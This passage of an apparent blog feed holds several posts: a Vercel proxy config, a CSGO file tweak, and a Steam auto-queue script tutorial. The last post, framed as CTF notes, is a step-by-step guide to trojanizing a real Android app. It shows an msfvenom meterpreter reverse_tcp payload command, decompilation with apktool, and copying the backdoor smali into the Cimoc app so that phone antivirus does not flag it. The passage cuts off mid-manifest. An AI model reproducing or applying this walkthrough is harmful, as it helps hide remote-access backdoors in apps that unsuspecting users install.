8
9
10
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://cdn.jsdelivr.net/$1"},
{"src": "/","dest": "https://bili33.top"}
],
"redirects": [
{"src": "/npm/(.*)", "destination": "http://127.0.0.1"}
]
}

这里redirects是访问特定的route的时候进行重定向,可以达到禁止访问的目的(但是实测好像并不太行)

更多关于json文件的适用方法,可以参照https://vercel.com/docs/project-configuration

写完json文件以后,就开始对vercel的cli进行验证,使用vercel login进行登录

1
2
3
4
5
6
7
8
9
10
vercel login
Vercel CLI 24.2.4
> Log in to Vercel (Use arrow keys)
> Continue with GitHub
Continue with GitLab
Continue with Bitbucket
Continue with Email
Continue with SAML Single Sign-On
─────────────────────────────────
Abort

按上下键可以选择登录方式,我就直接用Github登录了,会返回一个登录地址,可以直接在浏览器打开

登录完成后会像我下面这个这么提示

1
2
3
4
5
6
vercel login
Vercel CLI 24.2.4
> Log in to Vercel github
> Success! GitHub authentication complete for <your email>
Congratulations! You are now logged in. In order to deploy something, run `vercel`.
💡 Connect your Git Repositories to deploy every branch push automatically (https://vercel.link/git).

接着我们对刚刚的json文件进行部署,使用下面的命令即可

1
vercel -A <name>.json --prod

这里的json的文件名要指定为你刚刚设置的文件,--prod是推入生产环境,按照提示输入就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vercel -A <name>.json --prod
Vercel CLI 24.2.4
❗️ Your Project was either deleted, transferred to a new Team, or you don’t have access to it anymore.
? Set up and deploy “<your folder>”? [Y/n] y
? Which scope do you want to deploy to? <your username or team>
? Link to existing project? [y/N] n
? What’s your project’s name? vercel-json
? In which directory is your code located? ./
No framework detected. Default Project Settings:
- Build Command: `npm run vercel-build` or `npm run build`
- Output Directory: `public` if it exists, or `.`
- Development Command: None
? Want to override the settings? [y/N] n
🔗 Linked to <user/project> (created .vercel)
🔍 Inspect: <Your inspect link> [961ms]
✅ Production: <Your production link> [copied to clipboard] [10s]

部署完后你就可以在Vercel中找到,并进行配置了

]]>
+ + + + + Tech + + + + + + + Tech + + Proxy + + Vercel + + + +
+ + + + + CSGO国服反和谐教程 + + /posts/CSGO-Anti-LowViolence/ + +

其实这个东西非常简单,稍微翻一下文件就可以发现完美的操作了

先打开Steam,右键CSGO,选择属性,在左边的本地文件里面选择浏览

这会打开你的CSGO游戏文件夹,打开csgo文件夹,稍微翻一下就可以发现开头为pakxv的几个文件,有很明显的audiochinese perfectworld lowviolence字样,把它们删了就好了

注:每次CSGO更新都要进行这个操作!

]]>
+ + + + + Games + + + + + + + Games + + CSGO + + AntiLowViolence + + PerfectWorld + + + +
+ + + + + SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌! + + /posts/SteamAutoQueue-Manual/ + +

其实这个我从夏促前就开始写了,只不过刚好那一周撞上各种考试,所以就保证了本地Windows版本的正常运行,Linux的就没动,等到周末再干的时候夏促已经开始了……

为啥我要做这个?主要是学生党又不是天天开电脑,像TemperMonkey的那种自动探索队列的脚本或者是Steam++里面带的那个,都要打开电脑,再去打开浏览器或者是Steam,所以我就做了一个这个不需要打开任何东西的。

因为完成太晚了,所以等到冬促的时候我再去推广吧,要是有哪位大哥愿意帮我推广的尽管发就行了,发完了站内艾特一下我~

先点个STAR✨,我们马上开始教学!

简体中文

变量获取

先打开Steam商店,正常登陆,然后按下F12打开开发者工具,在选项卡里面找到网络(Network),刷新一下,在左侧找到store.steampowered.com,点击一下,然后在右侧下拉找到Cookie,把里面的东西复制出来

如果你选择用Action运行,,那么把Cookie复制下来后直接进入[Action环节](#在Github Action运行)

如果你选择服务器运行,那么你需要运行一下ConvertCookie.py,输入你的cookie字符串,然后打开cookie.txt就可以看到用于填在config.json的cookie了,复制出来,填在配置文件的cookie配置里面,如果你使用Action运行

如果你的电脑没有Python环境,或者你没有clone本仓库,你也可以打开这个网站字符串在线替换 - so工具 (sotool.net),然后在这里完成替换操作,替换的要求就是把双引号"替换为单引号'(注意要半角符号不是全角符号)

在Github Action运行

首先先打开仓库页面,Fork一份 -> ElainaMoe/SteamAutoQueue: 利用Github Action来Steam自动探索队列,不是油猴脚本,不需要打开浏览器或者Steam就可以运行,促销期间必备!

然后点击Settings -> Secrets -> Actions,进入变量添加页面

添加如图所示的变量,变量获取请查看这里,你只需要添加名为COOKIE的变量即可,内容是你的COOKIE

当然你也可以把Cookie用仓库里自带的SetCookie.py脚本放到你的Redis数据库里(填写config.jsonSteam相关字段后,只需要把Steam键下的内容贴进脚本里设置就行了),这样你就不需要一个一个加,但是不是所有人都有数据库,所以说没有数据库的话就一个一个来吧。

添加完后点击顶上导航栏的Action按钮,然后点击中间的绿色按钮开启Action

然后按照如图所示的方式打开两个Action脚本

打开后可以运行一次看看结果,一般来说没有打叉就是没啥问题了

运行结果应该像下面这个这样(注:我这里Cookie的设置方式不太一样,我放在了Redis里面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!

无法运行/发现Bug

请带着你的运行日志到Issues · ElainaMoe/SteamAutoQueue (github.com)报个BUG吧

English

Actually I started to do this before Summer-Sale. However that week is filled with examinations. So I just guarantee the Windows local version can be run successfully and left Linux behind. When it comes to the weekend, it was the time that Summer-Sale has began……

Why I made this? For the reason that as a student, I will not open my computer everyday. The script that run on TemperMoney or the one in Steam++ need a browser or Steam client to run. So I make this one that no anything need to open.

But I finish this too late, so when it comes to the Winter-Sale that I will promote it by myself. If you’re willing to promote my script, just do it. No any permission needed. After you promote it, just left you link in the comment below. Thank you!

Give me a STAR ✨ and we will start now.

Getting variables

You need to go to Steam website and Press F12, find network and refresh the page once. Then you can find store.steampowered.com on the left side. Click on it and scroll down on the right side, and you will find cookie string.

If you run this script on Action, copy this then go to [Run on Github Action](#Run on Github Action) section

Copy that and run ConvertCookie.py, paste your cookie in it and you will find the string that need to be fill in the config.json is in the cookie.txt, copy that and fill it in the cookie key of the config file.

If you dont have a Python environment or you havent clone the source code, you can also go to Find and Replace a String - Online String Tools to finish it.

Run on Github Action

First open the repo and fork it -> ElainaMoe/SteamAutoQueue: Using Github Action to explore Steam queue every day. You will need it when it comes to the Summer/Winter Sale.

Then click on Settings -> Secrets -> Actions to enter the page to add variables

Add the variables shown on this picture, [you can know how to get then from here](#Getting variables)

YOU ONLY NEED TO ADD THE VARIABLE NAMED “COOKIE” AND FILL YOUR COOKIE IN IT, THE FOLLOWING PICTURE IS OUTDATED!

After you finishing it, click the Action button from nav-bar and click the green button on the center to turn Action on.

Then enable the two scripts like this in the picture.

After you opened them, you can run them by yourself. If it doesn’t display something wrong, then you have finished.

The result should like this (I placed the variables in my Redis)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!

Unable to run / Find a bug

Please go to Issues · ElainaMoe/SteamAutoQueue (github.com) and submit a issue. Thanks!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Script + + Steam + + + +
+ + + + + CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序 + + /posts/CTF-in-College-7/ + +

填坑回,因为之前在CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写,然后写我们CTF俱乐部学期总结的时候就顺带讲了这个,所以就填了个坑

首先要生成带有后门程序的apk文件

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk

这里的host我实际上填的是我的公网服务器的IP地址,生成以后,如果直接安装,手机是肯定会报毒的(特别是装的国产定制ROM如MIUI、COLOROS之类的),这个时候就要把我们的后门程序注入到其他的软件里面去

(装上了会像右边这个图标这样,啥也没有,而且点开除了打开了后门也不会有什么反应)

然后我们反编译一下软件,用Linux(可能会)自带的apktool(如果没有请直走右转Github)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o payload pentestlab.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

这样后门程序就反编译完了,接下来要反编译我们需要的软件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o original Cimoc.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on Cimoc.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

接着把payload的文件弄到我们要注入的程序目录下

1
2
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ cp payload/smali/com/metasploit/stage original/smali/com/metasploit/stage -r

在软件反编译后的AndroidManifest.xml文件里面,会存放着软件的权限列表、活动列表等信息,在这里可以看到最开始启动了什么活动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="29" android:compileSdkVersionCodename="10" package="com.hiroshi.cimoc" platformBuildVersionCode="29" platformBuildVersionName="10">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:name="com.hiroshi.cimoc.App" android:requestLegacyExternalStorage="true" android:supportsRtl="true" android:theme="@style/AppTheme" android:usesCleartextTraffic="true">
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.hiroshi.cimoc.ui.activity.ResultActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.ChapterActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TagEditorActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TaskActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SettingsActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.settings.ReaderConfigActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BackupActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.AboutActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.CategoryActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SearchActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SourceDetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.PartFavoriteActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DirPickerActivity" android:screenOrientation="unspecified"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.settings.EventSettingsActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.PageReaderActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.StreamReaderActivity"/>
<service android:name="com.hiroshi.cimoc.service.DownloadService"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BrowserFilter" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="cimoc"/>
<data android:host="m.buka.cn" android:scheme="http"/>
<data android:host="m.buka.cn" android:scheme="https"/>
<data android:host="www.dm5.com" android:scheme="http"/>
<data android:host="www.dm5.com" android:scheme="https"/>
<data android:host="tel.dm5.com" android:scheme="http"/>
<data android:host="tel.dm5.com" android:scheme="https"/>
<data android:host="manhua.dmzj.com" android:scheme="http"/>
<data android:host="manhua.dmzj.com" android:scheme="https"/>
<data android:host="m.dmzj.com" android:scheme="http"/>
<data android:host="m.dmzj.com" android:scheme="https"/>
<data android:host="m.5qmh.com" android:scheme="http"/>
<data android:host="m.5qmh.com" android:scheme="https"/>
<data android:host="m.pufei.net" android:scheme="http"/>
<data android:host="m.pufei.net" android:scheme="https"/>
<data android:host="ac.qq.com" android:scheme="http"/>
<data android:host="ac.qq.com" android:scheme="https"/>
<data android:host="m.ac.qq.com" android:scheme="http"/>
<data android:host="m.ac.qq.com" android:scheme="https"/>
<data android:host="www.u17.com" android:scheme="http"/>
<data android:host="www.u17.com" android:scheme="https"/>
<data android:host="www.migudm.cn" android:scheme="http"/>
<data android:host="www.migudm.cn" android:scheme="https"/>
<data android:host="m.migudm.cn" android:scheme="http"/>
<data android:host="m.migudm.cn" android:scheme="https"/>
<data android:host="99770.hhxxee.com" android:scheme="http"/>
<data android:host="99770.hhxxee.com" android:scheme="https"/>
<data android:host="www.cartoonmad.com" android:scheme="http"/>
<data android:host="www.cartoonmad.com" android:scheme="https"/>
<data android:host="www.2animx.com" android:scheme="http"/>
<data android:host="www.2animx.com" android:scheme="https"/>
<data android:host="www.50mh.com" android:scheme="http"/>
<data android:host="www.50mh.com" android:scheme="https"/>
<data android:host="m.50mh.com" android:scheme="http"/>
<data android:host="m.50mh.com" android:scheme="https"/>
<data android:host="www.manhuadb.com" android:scheme="http"/>
<data android:host="www.manhuadb.com" android:scheme="https"/>
<data android:host="m.bnmanhua.com" android:scheme="http"/>
